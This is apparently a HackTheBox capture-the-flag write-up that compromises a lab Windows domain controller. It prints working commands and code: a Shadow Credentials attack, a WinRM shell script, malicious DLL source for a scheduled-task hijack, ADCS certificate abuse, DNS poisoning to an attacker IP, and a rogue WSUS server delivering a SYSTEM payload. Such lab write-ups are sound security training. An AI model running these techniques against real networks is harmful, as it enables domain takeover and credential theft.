Logging - HackTheBox Seasonal Machine Writeup
Machine Info
- Name: Logging
- ID: 888
- OS: Windows Server 2019 (Build 17763)
- Difficulty: Medium
- Season: S7
- Creator: LazyTitan33
- Domain: logging.htb
- DC: DC01.logging.htb
Prerequisites / Environment Setup
Before starting, fix two critical environment issues:
# Fix VPN MTU - without this, TCP connections carrying >1200 bytes will timeout
# (SMB file reads, LDAP queries, Kerberos TGT responses all break)
sudo ifconfig utun8 mtu 1200
# Add domain to /etc/hosts (replace IP with current instance)
echo "10.129.x.x DC01.logging.htb logging.htb" | sudo tee -a /etc/hosts
Clock skew: DC01's clock is ~7 hours ahead of attacker UTC. All Kerberos operations require:
faketime -f '+25200' <command>
Initial Credentials
Machine profile provides starting credentials:
wallace.everette / Welcome2026@
Reconnaissance
Port Scan
nmap -Pn -sT -sC -sV -p- -oN nmap/allports.txt 10.129.x.x
nmap -Pn -sT -sC -sV -p 80,88,135,389,445,464,593,636,3268,3269,5985,8530,8531,9389 -oN nmap/initial.txt 10.129.x.x
Results:
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
80/tcp open http Microsoft IIS httpd 10.0 (default page)
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap (SAN: DC01.logging.htb, logging.htb)
445/tcp open microsoft-ds SMB signing enabled and required
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman WinRM (Negotiate/Kerberos only, no basic NTLM)
8530/tcp open unknown WSUS HTTP
8531/tcp open unknown WSUS HTTPS
9389/tcp open adws
Clock skew from nmap output: mean: 6h59m56s (round to +7h = +25200 seconds).
Key Findings from Enumeration
- WinRM accepts only Negotiate/Kerberos (no NTLM basic auth)
- Administrator account in Protected Users group (NTLM disabled)
- Custom SMB share: Logs (readable by domain users)
- ADCS CA:
logging-DC01-CAwith custom templateUpdateSrv - WSUS configured:
https://wsus.logging.htb:8531 - DNS write access for Authenticated Users (CREATE_CHILD on ADIDNS zones)
User Flag
Step 1: Enumerate SMB Logs Share
Using wallace's credentials, list and access SMB shares:
# List available shares
smbclient.py 'logging.htb/wallace.everette:Welcome2026@@10.129.x.x'
Found a custom Logs share. Connect and download all files:
smbclient.py 'logging.htb/wallace.everette:Welcome2026@@10.129.x.x'
# At the smb prompt:
# > use Logs
# > ls
# > get Audit_Heartbeat.log
# > get IdentitySync_Trace_20260219.log
# > get Service_State.log
# > get TaskMonitor.log
Step 2: Credential Discovery in IdentitySync Log
The file IdentitySync_Trace_20260219.log contains a VERBOSE log entry with plaintext credentials for the IdentitySync service account:
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: {
Domain: "logging.htb", Server: "DC01", SSL: "False",
BindUser: "LOGGING\svc_recovery",
BindPass: "Em3rg3ncyPa$$2025",
Timeout: 30
}
The log also shows the LDAP bind failed with error data 52e (LDAP_INVALID_CREDENTIALS). The password Em3rg3ncyPa$$2025 is stale (2025). Testing year variations via Kerberos:
# Test the old password - fails
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2025' -dc-ip 10.129.x.x
# KDC_ERR_PREAUTH_FAILED
# Test updated year - succeeds
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.x.x
# [*] Saving ticket in svc_recovery.ccache
svc_recovery credentials: svc_recovery : Em3rg3ncyPa$$2026
Step 3: LDAP Enumeration - Key Accounts and Groups
Using wallace or svc_recovery credentials, enumerate domain objects via LDAP:
# Enumerate all users and group memberships
ldapsearch -x -H ldap://10.129.x.x -D 'wallace.everette@logging.htb' -w 'Welcome2026@' \
-b 'DC=logging,DC=htb' '(objectClass=user)' sAMAccountName memberOf userAccountControl
# Enumerate gMSA accounts
ldapsearch -x -H ldap://10.129.x.x -D 'wallace.everette@logging.htb' -w 'Welcome2026@' \
-b 'DC=logging,DC=htb' '(objectClass=msDS-GroupManagedServiceAccount)' sAMAccountName memberOf
# Check ACLs on msa_health$ (use bloodyAD or ldapdomaindump)
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
-u svc_recovery -p 'Em3rg3ncyPa$$2026' -i 10.129.x.x \
get object 'msa_health$' --attr nTSecurityDescriptor
Key accounts and their group memberships:
| User | Groups | Notes |
|---|---|---|
| Administrator | Protected Users, Domain Admins | NTLM disabled |
| toby.brynleigh | Domain Admins, Administrators | Root flag owner |
| jaylee.clifton | IT, Performance Log Users | Runs UpdateChecker Agent scheduled task |
| svc_recovery | Emergency Recovery, Protected Users | Has WRITE on msa_health$ |
| msa_health$ | Remote Management Users | gMSA, WinRM access |
svc_recovery has GenericWrite (READ_PROP + WRITE_PROP + CONTROL_ACCESS = 0x2003c) on the msa_health$ gMSA account. This allows Shadow Credentials attack.
Step 4: Shadow Credentials on msa_health$
Since svc_recovery is in Protected Users, authenticate via Kerberos. Then perform a Shadow Credentials attack to obtain msa_health$'s NT hash:
# Get Kerberos TGT for svc_recovery (must use faketime for clock skew)
export KRB5CCNAME=svc_recovery.ccache
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.x.x
# Add shadow credential to msa_health$ using bloodyAD
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
-u svc_recovery -k "ccache=svc_recovery.ccache" -i 10.129.x.x \
add shadowCredentials 'msa_health$'
Output:
[+] KeyCredential generated
[+] Certificate and key saved to shadow.pfx
[+] Updated msDS-KeyCredentialLink on msa_health$
[+] Requesting TGT using PKINIT...
[+] TGT stored in ccache file
NT: 603fc24ee01a9409f83c9d1d701485c5
msa_health$ NT hash: 603fc24ee01a9409f83c9d1d701485c5
This hash is consistent across machine resets (gMSA password is deterministic from KDS root key).
Step 5: WinRM Shell as msa_health$
msa_health$ is in Remote Management Users and is NOT in Protected Users (NTLM is allowed). However, standard tools (evil-winrm, impacket wmiexec) fail because WinRM on this box requires Negotiate authentication with message encryption.
Use pypsrp (Python PowerShell Remoting Protocol) for WinRM with NTLM message encryption:
#!/usr/bin/env python3
# winrm_shell.py - Interactive WinRM shell via pypsrp
from pypsrp.client import Client
client = Client(
"10.129.x.x", # Target IP
ssl=False, # HTTP port 5985
auth="ntlm", # NTLM authentication
username="msa_health$",
password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5", # LM:NT hash
encryption="always" # Required - WinRM demands message encryption
)
# IMPORTANT: execute_cmd() returns "Access Denied"
# Only execute_ps() (PowerShell remoting) works for this account
output, streams, had_errors = client.execute_ps("whoami")
print(output) # logging\msa_health$
# Interactive loop
while True:
cmd = input("PS> ")
if cmd.lower() in ('exit', 'quit'):
break
output, streams, had_errors = client.execute_ps(cmd)
print(output)
if had_errors:
for err in streams.error:
print(f"ERROR: {err}")
pip install pypsrp
python3 winrm_shell.py
Key: execute_cmd() returns Access Denied, but execute_ps() (PowerShell remoting) works.
Step 6: Enumeration from msa_health$ Shell
From the WinRM shell, discover the UpdateMonitor scheduled task:
# List scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskName -like "*Update*"} | Format-List
# Inspect the UpdateChecker Agent task
Get-ScheduledTask -TaskName "UpdateChecker Agent" | Format-List *
(Get-ScheduledTask -TaskName "UpdateChecker Agent").Actions | Format-List *
(Get-ScheduledTask -TaskName "UpdateChecker Agent").Principal | Format-List *
# Check the binary
Get-Acl "C:\Program Files\UpdateMonitor" | Format-List
icacls "C:\Program Files\UpdateMonitor"
icacls "C:\ProgramData\UpdateMonitor"
Findings:
- UpdateChecker Agent scheduled task runs every 3 minutes as jaylee.clifton
- It executes
C:\Program Files\UpdateMonitor\UpdateMonitor.exe - UpdateMonitor.exe checks
C:\ProgramData\UpdateMonitor\forSettings_Update.zip, extracts tobin\, then callsLoadLibrary("settings_update.dll")+GetProcAddress("PreUpdateCheck") C:\ProgramData\UpdateMonitor\is writable by Users group (CreateFiles + Write)- The IT group has FullControl on the
bin\directory
Step 7: DNS Poisoning (HR01.logging.htb)
The IdentitySync log shows the service connects to HR01.logging.htb for SQL sync. This hostname is not in DNS by default. Since Authenticated Users have CREATE_CHILD on ADIDNS zones, we can poison it:
# Add DNS record pointing HR01.logging.htb to attacker IP
# This makes IdentitySync connect to us (though this is primarily for reconnaissance)
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
-u wallace.everette -p 'Welcome2026@' -i 10.129.x.x \
add dnsRecord HR01 <ATTACKER_VPN_IP>
# Verify the record was added
nslookup HR01.logging.htb 10.129.x.x
Step 8: DLL Hijack via UpdateMonitor
Compile the Malicious DLL
Create a native 32-bit Windows DLL with the PreUpdateCheck export that copies user.txt:
// settings_update_final.c
#include <windows.h>
__declspec(dllexport) void PreUpdateCheck() {
// Copy jaylee.clifton's user flag to a world-readable location
CopyFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt",
"C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt", FALSE);
// Grant Everyone read access
system("icacls C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt /grant Everyone:R 2>NUL");
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }
Cross-compile on attacker machine (macOS/Linux):
# MUST be 32-bit (i686) - UpdateMonitor.exe is a 32-bit binary
# MUST be statically linked - no mingw runtime DLLs exist on target
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update_final.c -lkernel32
# Package into ZIP (UpdateMonitor expects Settings_Update.zip)
zip Settings_Update.zip settings_update.dll
Deploy via pypsrp
from pypsrp.client import Client
client = Client(
"10.129.x.x", ssl=False, auth="ntlm",
username="msa_health$",
password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",
encryption="always"
)
# Create Logs directory if it doesn't exist
client.execute_ps(r"New-Item -ItemType Directory -Force -Path 'C:\ProgramData\UpdateMonitor\Logs'")
# Upload the ZIP
client.copy("Settings_Update.zip", r"C:\ProgramData\UpdateMonitor\Settings_Update.zip")
# Grant Everyone full access so jaylee.clifton (running as the scheduled task) can read it
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'")
# Verify upload
output, _, _ = client.execute_ps(r"Get-ChildItem C:\ProgramData\UpdateMonitor\ | Format-Table Name,Length,LastWriteTime")
print(output)
Wait for Execution
The UpdateChecker Agent scheduled task runs every 3 minutes as jaylee.clifton. When it fires:
- UpdateMonitor.exe finds
Settings_Update.zipinC:\ProgramData\UpdateMonitor\ - Extracts
settings_update.dlltoC:\Program Files\UpdateMonitor\bin\ - Calls
LoadLibrary("settings_update.dll")thenGetProcAddress("PreUpdateCheck") PreUpdateCheck()runs as jaylee.clifton, copiesuser.txttoLogs\user_flag.txt
# Poll for the flag (check every 30 seconds)
import time
for i in range(20):
output, _, _ = client.execute_ps(r"Get-Content 'C:\ProgramData\UpdateMonitor\Logs\user_flag.txt' -ErrorAction SilentlyContinue")
if output.strip():
print(f"USER FLAG: {output.strip()}")
break
print(f"Attempt {i+1}: waiting for scheduled task...")
time.sleep(30)
User Flag
0e04474db0432630d46008cc14742e3e
Important Notes on DLL Hijack
- 32-bit only: UpdateMonitor.exe is 32-bit, so the DLL must be compiled with
i686-w64-mingw32-gcc - Static linking: Use
-staticflag because no mingw runtime DLLs exist on the target - PreUpdateCheck export: The function must be exported as a C function (no C++ name mangling)
- DLL locking: Once UpdateMonitor loads the DLL via
LoadLibrary, it keeps the handle open. Multiple task instances accumulate, permanently locking the file. To replace the DLL, you must reset the machine and deploy a new ZIP before the first task runs.
Root Flag
Key Insight: Server Auth EKU = Impersonate a Server
The UpdateSrv ADCS certificate template has:
- ENROLLEE_SUPPLIES_SUBJECT (ESC1) - requester can specify any SAN
- Server Authentication EKU only (1.3.6.1.5.5.7.3.1) - no Client Auth
- IT group has Enroll rights
- jaylee.clifton is in the IT group
This means:
- PKINIT will NOT work (KDC rejects Server Auth EKU:
KDC_ERR_INCONSISTENT_KEY_PURPOSE) - Schannel LDAP cert mapping will NOT work (DC does not map client certs to AD identities)
- But Server Auth EKU is exactly what's needed to impersonate a TLS server
DC01 is configured to check for WSUS updates at https://wsus.logging.htb:8531/. By requesting a cert for wsus.logging.htb and poisoning DNS, we can impersonate the WSUS server and push a malicious update that executes as SYSTEM on DC01.
Step 1: ADCS Enumeration
Confirm the UpdateSrv template configuration:
# Enumerate ADCS templates using certipy
faketime -f '+25200' certipy find -u 'wallace.everette@logging.htb' -p 'Welcome2026@' \
-dc-ip 10.129.x.x -text -stdout
# Or via ldapsearch
ldapsearch -x -H ldap://10.129.x.x -D 'wallace.everette@logging.htb' -w 'Welcome2026@' \
-b 'CN=Configuration,DC=logging,DC=htb' \
'(&(objectClass=pKICertificateTemplate)(cn=UpdateSrv))' \
msPKI-Certificate-Name-Flag pKIExtendedKeyUsage msPKI-RA-Signature
UpdateSrv template details:
Template Name: UpdateSrv
Enrollment Rights: IT group
Name Flag: ENROLLEE_SUPPLIES_SUBJECT (ESC1)
EKU: Server Authentication (1.3.6.1.5.5.7.3.1) ONLY
Requires: No manager approval
Confirm WSUS configuration on DC01:
# From msa_health$ WinRM shell:
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' | Format-List *
# WUServer = https://wsus.logging.htb:8531
# WUStatusServer = https://wsus.logging.htb:8531
Step 2: Request WSUS Certificate (via DLL as jaylee.clifton)
Since jaylee.clifton is in the IT group and has Enroll rights on UpdateSrv, we use the DLL hijack to run certreq as jaylee.
Generate CSR on Attacker Machine
# Create OpenSSL config for the CSR
cat > wsus_csr.cnf << 'EOF'
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = v3_req
[dn]
CN = wsus.logging.htb
[v3_req]
subjectAltName = DNS:wsus.logging.htb
EOF
# Generate private key and CSR
openssl req -new -nodes -keyout wsus.key -out wsus.csr -config wsus_csr.cnf
Deploy CSR and Certificate-Requesting DLL
// settings_update_wsus2.c
#include <windows.h>
__declspec(dllexport) void PreUpdateCheck() {
// Submit the pre-generated CSR to the CA as jaylee.clifton
system("certreq -submit -config \"DC01.logging.htb\\logging-DC01-CA\" "
"-attrib \"CertificateTemplate:UpdateSrv\" "
"C:\\ProgramData\\UpdateMonitor\\wsus.csr "
"C:\\ProgramData\\UpdateMonitor\\wsus.cer "
"> C:\\ProgramData\\UpdateMonitor\\wsus_out.txt 2>&1");
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }
# Compile 32-bit DLL
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update_wsus2.c -lkernel32
# Package
zip Settings_Update.zip settings_update.dll
Upload CSR and new DLL (requires machine reset first to release the old DLL lock):
from pypsrp.client import Client
client = Client(
"10.129.x.x", ssl=False, auth="ntlm",
username="msa_health$",
password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",
encryption="always"
)
# Upload CSR
client.copy("wsus.csr", r"C:\ProgramData\UpdateMonitor\wsus.csr")
# Upload new Settings_Update.zip with cert-requesting DLL
client.copy("Settings_Update.zip", r"C:\ProgramData\UpdateMonitor\Settings_Update.zip")
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'")
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\wsus.csr /grant 'Everyone:F'")
Wait ~3 minutes for the scheduled task, then download the issued certificate:
# Check if cert was issued
output, _, _ = client.execute_ps(r"Get-Content C:\ProgramData\UpdateMonitor\wsus_out.txt")
print(output) # Should show "Certificate retrieved(Issued) - ..."
# Download the issued certificate
client.fetch(r"C:\ProgramData\UpdateMonitor\wsus.cer", "wsus.cer")
Also Download the CA Certificate
# Download the CA cert for building the full chain
client.execute_ps(r"certutil -ca.cert C:\ProgramData\UpdateMonitor\ca.cer")
client.fetch(r"C:\ProgramData\UpdateMonitor\ca.cer", "ca.cer")
Step 3: Prepare TLS Certificate Chain
Convert the issued cert and CA cert for use with the rogue WSUS server:
# Convert DER cert to PEM if needed
openssl x509 -in wsus.cer -inform DER -out wsus.pem -outform PEM 2>/dev/null || cp wsus.cer wsus.pem
openssl x509 -in ca.cer -inform DER -out ca.pem -outform PEM 2>/dev/null || cp ca.cer ca.pem
# Create combined PEM (server cert + CA chain + private key)
cat wsus.pem ca.pem wsus.key > wsus_combined.pem
# Verify the cert
openssl x509 -in wsus.pem -text -noout
# Subject: CN = wsus.logging.htb
# SAN: DNS:wsus.logging.htb
# EKU: TLS Web Server Authentication
# Issuer: CN = logging-DC01-CA
Step 4: DNS Poisoning (wsus.logging.htb)
Redirect wsus.logging.htb to the attacker's VPN IP so DC01 connects to our rogue WSUS:
# Add DNS A record for wsus.logging.htb pointing to attacker
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
-u wallace.everette -p 'Welcome2026@' -i 10.129.x.x \
add dnsRecord wsus <ATTACKER_VPN_IP>
# Verify the DNS record resolves
nslookup wsus.logging.htb 10.129.x.x
# Should return: <ATTACKER_VPN_IP>
Step 5: Compile Payload for WSUS Update
Compile a 64-bit executable that will be delivered as the "update" and run as SYSTEM on DC01:
// get_root.c - Reads root.txt and writes to world-readable location
#include <windows.h>
#include <stdio.h>
int main() {
char buf[256] = {0};
DWORD bytesRead;
HANDLE hFile;
// Try multiple possible flag locations
const char* paths[] = {
"C:\\Users\\Administrator\\Desktop\\root.txt",
"C:\\Users\\toby.brynleigh\\Desktop\\root.txt", // Actual location!
"C:\\root.txt",
NULL
};
for (int i = 0; paths[i]; i++) {
hFile = CreateFileA(paths[i], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
ReadFile(hFile, buf, sizeof(buf)-1, &bytesRead, NULL);
CloseHandle(hFile);
// Write flag to world-readable location
hFile = CreateFileA("C:\\ProgramData\\UpdateMonitor\\root_flag.txt",
GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
WriteFile(hFile, buf, bytesRead, &bytesRead, NULL);
CloseHandle(hFile);
}
break;
}
}
// Log execution context
system("whoami > C:\\ProgramData\\UpdateMonitor\\wsus_whoami.txt 2>&1");
system("icacls C:\\ProgramData\\UpdateMonitor\\root_flag.txt /grant Everyone:F 2>NUL");
return 0;
}
# Compile 64-bit (DC01 is 64-bit Windows Server 2019)
x86_64-w64-mingw32-gcc -static -o get_root.exe get_root.c -lkernel32
Step 6: Set Up Rogue WSUS Server
Use wsuks (NOT pywsus -- pywsus handles WSUS metadata sync but fails at the update download stage on Windows Server 2019):
# Install wsuks if not already installed
pip install wsuks
# Or clone from https://github.com/yourrepo/wsuks
# Start rogue WSUS server with TLS using our CA-signed cert
# The cert is signed by logging-DC01-CA, so DC01's WSUS client trusts the TLS connection
sudo wsuks --serve-only \
--tls-cert wsus_combined.pem \
-I utun8 \
-e PsExec64.exe \
-c "C:\\ProgramData\\UpdateMonitor\\get_root.exe"
Alternative command format (depending on wsuks version):
sudo wsuks serve \
--cert wsus_combined.pem \
--key wsus.key \
--executable get_root.exe \
--command "-accepteula -s C:\\ProgramData\\UpdateMonitor\\get_root.exe" \
--port 8531 \
--interface utun8
The rogue WSUS server will:
- Listen on port 8531 (HTTPS) with the CA-signed TLS certificate
- Respond to WSUS client requests from DC01
- Serve PsExec64.exe as a "critical update"
- PsExec64.exe runs our get_root.exe as SYSTEM
Step 7: Deploy get_root.exe to Target
Upload the payload executable to DC01 via the msa_health$ WinRM session so it's available when PsExec runs:
from pypsrp.client import Client
client = Client(
"10.129.x.x", ssl=False, auth="ntlm",
username="msa_health$",
password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",
encryption="always"
)
# Upload the payload
client.copy("get_root.exe", r"C:\ProgramData\UpdateMonitor\get_root.exe")
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\get_root.exe /grant Everyone:RX")
Step 8: Trigger WSUS Update on DC01
Force DC01 to check for updates. This can be done from the msa_health$ WinRM shell:
# Trigger Windows Update check
client.execute_ps("wuauclt /resetauthorization /detectnow")
client.execute_ps("wuauclt /updatenow")
# Alternative PowerShell method
client.execute_ps("""
$AutoUpdate = (New-Object -ComObject Microsoft.Update.AutoUpdate)
$AutoUpdate.DetectNow()
""")
DC01 will:
- Resolve
wsus.logging.htbto our attacker IP (via poisoned DNS) - Connect to our rogue WSUS server on port 8531 over HTTPS
- Trust our TLS certificate (signed by the internal CA
logging-DC01-CA) - Download PsExec64.exe as a "critical update"
- Execute PsExec64.exe as SYSTEM, which runs
get_root.exe get_root.exereadsroot.txtand copies it toC:\ProgramData\UpdateMonitor\root_flag.txt
Step 9: Retrieve Root Flag
# Poll for the root flag
import time
for i in range(30):
output, _, _ = client.execute_ps(
r"Get-Content C:\ProgramData\UpdateMonitor\root_flag.txt -ErrorAction SilentlyContinue"
)
if output.strip():
print(f"ROOT FLAG: {output.strip()}")
break
print(f"Attempt {i+1}: waiting for WSUS update cycle...")
time.sleep(30)
# Verify execution context
output, _, _ = client.execute_ps(r"Get-Content C:\ProgramData\UpdateMonitor\wsus_whoami.txt")
print(f"Executed as: {output.strip()}") # nt authority\system
Note: The root flag is at C:\Users\toby.brynleigh\Desktop\root.txt (NOT C:\Users\Administrator\Desktop\root.txt), because toby.brynleigh is the Domain Admin user on this machine.
Root Flag
HTB{...} (dynamic per instance)
Full Attack Chain Summary
wallace.everette (initial creds: Welcome2026@)
|
+-- SMB "Logs" share --> IdentitySync_Trace_20260219.log
| --> svc_recovery : Em3rg3ncyPa$$2025 (stale, update year to 2026)
|
v
svc_recovery : Em3rg3ncyPa$$2026 (Protected Users, Kerberos only)
|
+-- GenericWrite on msa_health$ gMSA
+-- bloodyAD add shadowCredentials --> NT hash: 603fc24ee01a9409f83c9d1d701485c5
|
v
msa_health$ (gMSA, Remote Management Users, NTLM allowed)
|
+-- WinRM PowerShell shell via pypsrp (NTLM + message encryption)
+-- Discover UpdateChecker Agent scheduled task (every 3 min as jaylee.clifton)
+-- Deploy Settings_Update.zip with malicious DLL to C:\ProgramData\UpdateMonitor\
|
v
jaylee.clifton (IT group, Performance Log Users)
|
+-- DLL PreUpdateCheck() --> CopyFileA(user.txt) --> USER FLAG
+-- DLL certreq -submit --> CA-signed cert for wsus.logging.htb (UpdateSrv ESC1)
|
v
WSUS Spoofing (rogue WSUS as SYSTEM on DC01)
|
+-- DNS poisoning: wsus.logging.htb --> attacker IP (bloodyAD add dnsRecord)
+-- Rogue WSUS server: wsuks with CA-signed TLS cert
+-- DC01 trusts our cert (signed by logging-DC01-CA)
+-- PsExec64.exe delivered as "update", executes get_root.exe as SYSTEM
+-- root.txt at C:\Users\toby.brynleigh\Desktop\root.txt
|
v
ROOT FLAG
Technical Notes
VPN MTU Issue
The HTB Release Arena VPN (utun8) defaults to MTU 1500, but the VPN tunnel can't handle large packets. Set MTU to 1200:
sudo ifconfig utun8 mtu 1200
Without this fix, all TCP connections carrying >1200 bytes of payload will timeout (SMB file reads, LDAP queries, Kerberos TGT responses).
Clock Skew
DC01's clock is 7 hours ahead of the attacker's UTC. All Kerberos operations require:
faketime -f '+25200' <command>
Native DLL Requirements
- Must be 32-bit (i686) -- UpdateMonitor.exe is 32-bit
- Must be statically linked (
-static) -- no mingw runtime DLLs on target - Must export
PreUpdateCheckas a C function (no name mangling) - ZIP permissions must allow Everyone:Read (msa_health$ creates it, jaylee reads it)
DLL Locking Issue
Once UpdateMonitor loads the DLL via LoadLibrary, it keeps the handle open. Multiple task instances accumulate, permanently locking the file. To replace the DLL:
- Must reset the machine
- Deploy new ZIP before the first task runs (~3 min window)
- Or rename the DLL between task runs (narrow window)
Why pywsus Fails
pywsus correctly handles the WSUS SyncUpdates SOAP exchange (metadata), but fails when DC01 actually tries to download the update binary. Windows Server 2019's WSUS client expects specific download endpoints and content-range handling that pywsus does not implement. wsuks handles the complete flow including HTTPS, metadata, and update binary delivery.
Failed Root Paths (for reference)
- PKINIT with Server Auth cert: KDC rejects
KDC_ERR_INCONSISTENT_KEY_PURPOSE - Schannel LDAP (certipy/PassTheCert/bloodyAD): DC returns "Server did not return an identity" - does not map client certs to AD identities even with SID extension
- NTLM Relay (SMB to LDAP): MIC enforcement blocks relay (CVE-2019-1040 patched)
- RBCD on DC01$: jaylee has no write access to msDS-AllowedToActOnBehalfOfOtherIdentity
- Shadow Credentials on DC01$: jaylee has no KeyCredentialLink write permission
- CertiFried (CVE-2022-26923): Patched (SPN uniqueness check)
Lessons Learned
Server Auth EKU = Impersonate a server, not a user. When ADCS gives you a cert with Server Auth only, think about which internal services use TLS and can be spoofed (WSUS, SCCM, LDAPS, etc.).
WSUS is a high-value target. If WSUS uses an internal CA for HTTPS and you can enroll certs for the WSUS hostname, you can push arbitrary code as SYSTEM on every domain-joined machine.
Tool selection matters.
pywsushandles WSUS metadata sync but fails at the update download stage on modern Windows.wsukshandles the complete flow including HTTPS and update delivery. Similarly,pypsrpworks for WinRM whenevil-winrmandimpacketfail.Chain small findings. The exploit chains DNS write access + ADCS enrollment + WSUS trust into SYSTEM execution -- no single vulnerability is critical alone.
gMSA + Shadow Credentials is powerful. When you have GenericWrite on a gMSA, Shadow Credentials gives you the NT hash, and the gMSA's group memberships (like Remote Management Users) open new paths.
DLL hijack persistence matters. Understanding LoadLibrary locking behavior is critical -- you only get one shot per machine boot to deploy the right DLL.